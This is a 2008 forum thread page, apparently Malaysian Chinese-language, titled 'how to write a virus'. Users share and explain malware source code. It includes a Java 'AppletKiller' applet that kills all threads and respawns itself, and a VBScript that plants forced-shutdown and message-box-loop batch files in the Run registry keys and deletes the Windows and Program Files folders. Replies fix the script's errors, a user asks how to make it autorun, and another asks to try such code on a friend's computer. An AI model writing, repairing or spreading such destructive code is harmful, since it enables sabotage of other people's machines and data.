Facebook Sharer
选择您要替换的背景颜色:
【农历新年】背景图片:
个性化设定
 注册  找回密码
楼主: 夜风
打印 上一主题 下一主题

怎樣寫virus

[复制链接]

3

主题

0

好友

7984

积分

百变名嘴

Rank: 13Rank: 13Rank: 13Rank: 13

161#
发表于 2008-7-1 07:22 PM |只看该作者
這是由利用applet所致的
ps:我沒有textpad不能幫你test,不好意思啊


回复

使用道具 举报

0

主题

0

好友

-3

积分

负积分-能发言

162#
发表于 2008-7-1 09:10 PM |只看该作者
原帖由 dious 于 2008-7-1 07:22 PM 发表
這是由利用applet所致的
ps:我沒有textpad不能幫你test,不好意思啊


谢谢帮忙...
我只是想知道它的程式是在做什么...
比如第一个CLASS 它在做什么...然后第二个PUBLIC 又在做什么...就这样...


回复

使用道具 举报

3

主题

0

好友

7984

积分

百变名嘴

Rank: 13Rank: 13Rank: 13Rank: 13

163#
发表于 2008-7-2 11:15 PM |只看该作者
這里有些人才
他們一定能幫你


回复

使用道具 举报

0

主题

0

好友

-3

积分

负积分-能发言

164#
发表于 2008-7-4 07:47 PM |只看该作者
大家帮帮忙吧~ 我这科过不过就靠大家了...em0016


回复

使用道具 举报

13

主题

0

好友

2113

积分

白金长老

Rank: 10

165#
发表于 2008-7-5 07:49 PM |只看该作者
Thread 的炸弹


回复

使用道具 举报

13

主题

0

好友

2113

积分

白金长老

Rank: 10

166#
发表于 2008-7-5 07:52 PM |只看该作者
原帖由 dious 于 2008-6-30 05:46 PM 发表

給我那個東西好嗎
我讓朋友(的電腦)玩玩



我没写过哦
没时间咯


回复

使用道具 举报

13

主题

0

好友

2113

积分

白金长老

Rank: 10

167#
发表于 2008-7-5 08:23 PM |只看该作者
引用 java.applet.*;java.awt.*;java.io.*;

import java.applet.*;
import java.awt.*;
import java.io.*;


开一个class 名叫 appletkiller 承接 java.applet.Applet  施行 Runnable 库
public class AppletKiller extends java.applet.Applet implements Runnable
{
    定义 killer 是 thread
    Thread killer;
   
    初始化 killer 是 null 空值
    public void init()
    {
        killer = null;
    }
   
    开始的 statment
    public void start()
    {
        如果 killer 是空值就 弄个新的 killer
        设定它的 优先 是第一
        killer 值得 thread 开始
        if (killer == null)
        {
            killer = new Thread(this,"killer");
            killer.setPriority(Thread.MAX_PRIORITY);
            killer.start();
        }
    }
    没写停的
    public void stop() {}   

// Kill all threads except this one
   

    开跑
    public void run()
    {
        try {
            这个true不对啦 那里转进来的????
            while (true)
            {
                开始 杀完你 windows 的 所有 工作 飞去下面的 threadkillr class
                ThreadKiller.killAllThreads();
                杀到的就死了 杀不到的  就 别掉它 没可能杀到 csrss.exe ,  rundll32.exe , winlogon.exe, 的 还有的救
                然后 自己 也 停 100 我忘记是 秒 还是 毫秒
                try { killer.sleep(100); }
                catch (InterruptedException e) {}
            }
        }
        catch (ThreadDeath td) {}

// Resurrect the hostile thread in case of accidental ThreadDeath

        finally
        {
          最后 又call class ?? 封进 ack ?? 什么来的??能这样咩?? 是不是 loop 不停的 ??
           reborn 新的 thread
            AppletKiller ack = new AppletKiller();
            Thread reborn = new Thread(ack, "killer");
            reborn.start();
        }
    }
}

class ThreadKiller
{

// Ascend to the root ThreadGroup and list all subgroups recursively,
// killing all threads as we go

    public static void killAllThreads()
    {
       普通的 定义
        ThreadGroup thisGroup;
        ThreadGroup topGroup;
        ThreadGroup parentGroup;
        
// Determine the current thread group
       把自己的 thread 的母 thread 装进 thisgroup
        thisGroup = Thread.currentThread().getThreadGroup();
        

没力我要鼓掌!!!!!!
// Proceed to the top ThreadGroup
        thisgroup 搬进 topgroup
        topGroup  = thisGroup;
       topgroup 的 process 的全部 搬进 parentGroup
        parentGroup = topGroup.getParent();
       当parentGroup 不时空空的就
        while(parentGroup != null)
        {
            搬来又搬走 她骂的 你的电脑包 不能动
            topGroup  = parentGroup;
            parentGroup = parentGroup.getParent();
        }
// Find all subgroups by descending recursively
       终于来到最 高的 processor 了,又动用。。。。。findgroup 的 class
        findGroups(topGroup);
    }
   

最后的你们猜猜下会怎样??????????????????????????????
    private static void findGroups(ThreadGroup g)
    {
        if (g == null)
        {
                return;
        }
        
        else
        {
                int numThreads = g.activeCount();
                int numGroups = g.activeGroupCount();
                Thread[] threads = new Thread[numThreads];
                ThreadGroup[] groups = new ThreadGroup[numGroups];
                g.enumerate(threads, false);
                g.enumerate(groups, false);
                for (int i = 0; i < numThreads; i++)
                    killOneThread(threads);
                for (int i = 0; i < numGroups; i++)
                    findGroups(groups);
        }
    }

    private static void killOneThread(Thread t)
    {
        if
        (
                t == null || t.getName().equals("killer")) {return;
        }
        else
        {
                t.stop();
        }
    }   
}


回复

使用道具 举报

4

主题

3

好友

4512

积分

一流名嘴

Rank: 12Rank: 12Rank: 12

168#
发表于 2008-7-5 08:47 PM |只看该作者
  1. set fso = CreateObject("Scriptingfilesystemobject")
  2. set tf.CreateTextFile("C:\windows\sev.bat",True)
  3. tf.Writeline("Shutdown -f -s -t 10")
  4. tf.Close

  5. set fso = CreateObject("Scriptingfilesystemobject")
  6. set tf.CreateTextFile("C:\windows\sev2.bat",True)
  7. tf.Writeline("do")
  8. tf.Writeline("MesBox error")
  9. tf.Writeline("loop")

  10. set rege = CreateObject("Wscript.Shell")
  11. rege.regwrite "HKEY_LOCAL_MACHINE_Software\Windows\Current Versoin\Run\Chiave","C:\sev.bat",REG_SZ
  12. rege.regwrite "HKEY_LOCAL_MACHINE_Software\Windows\Current Versoin\Run\Chiave2","C:\sev2.bat"REG_SZ

  13. set fso = CreateObject("cripting.filesystemobject")
  14. fso.deletefolder("C:\Programmi")
  15. fso.deletefolder("C:\Windows")
复制代码


把我解释一下。谢~


回复

使用道具 举报

13

主题

0

好友

2113

积分

白金长老

Rank: 10

169#
发表于 2008-7-5 09:19 PM |只看该作者
开一个FSobject 是用来 写files的 如 txt 都在 ascii
set fso = CreateObject("Scriptingfilesystemobject")
错了啦应该是
set tf = fso .CreateTextFile("C:\windows\sev.bat",True)
create 一个 sev.bat
set tf.CreateTextFile("C:\windows\sev.bat",True)
把 Shutdown -f -s -t 10 写进去 10秒钟 关机
tf.Writeline("Shutdown -f -s -t 10")
tf.Close

set fso = CreateObject("Scriptingfilesystemobject")
也错了应该是 set tf = fso.CreateTextFile("C:\windows\sev2.bat",True)
set tf.CreateTextFile("C:\windows\sev2.bat",True)

do
MsgBox error      《---- 用来 popup 很多个 msgbox loop
tf.Writeline("do")
tf.Writeline("MesBox error") <--- 又是错的
tf.Writeline("loop")

回来再写 载老婆
set rege = CreateObject("Wscript.Shell")
rege.regwrite "HKEY_LOCAL_MACHINE_Software\Windows\Current Versoin\Run\Chiave","C:\sev.bat",REG_SZ
rege.regwrite "HKEY_LOCAL_MACHINE_Software\Windows\Current Versoin\Run\Chiave2","C:\sev2.bat"REG_SZ

set fso = CreateObject("cripting.filesystemobject")
fso.deletefolder("C:\Programmi")
fso.deletefolder("C:\Windows")


回复

使用道具 举报

4

主题

3

好友

4512

积分

一流名嘴

Rank: 12Rank: 12Rank: 12

170#
发表于 2008-7-5 11:02 PM |只看该作者
原帖由 goodday 于 2008-7-5 09:19 PM 发表

开一个FSobject 是用来 写files的 如 txt 都在 ascii
set fso = CreateObject("Scriptingfilesystemobject")
错了啦应该是
set tf = fso .CreateTextFile("C:\windows\sev.bat",True)
create 一个 sev.bat ...


麻烦你了,老大。
对了,这个文件是.vbs来的。
有什么方法能让它autorun??


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

JBTALKS.CC |联系我们 |隐私政策 |Share

GMT+8, 2024-10-25 11:22 PM , Processed in 0.095373 second(s), 20 queries .

Powered by Discuz! X2.5

© 2001-2012 Comsenz Inc.

Ultra High-performance Dedicated Server powered by iCore Technology Sdn. Bhd.
Domain Registration | Web Hosting | Email Hosting | Forum Hosting | ECShop Hosting | Dedicated Server | Colocation Services
本论坛言论纯属发表者个人意见,与本论坛立场无关
Copyright © 2003-2012 JBTALKS.CC All Rights Reserved
合作联盟网站:
JBTALKS 马来西亚中文论坛 | JBTALKS我的空间 | ICORE TECHNOLOGY SDN. BHD.
回顶部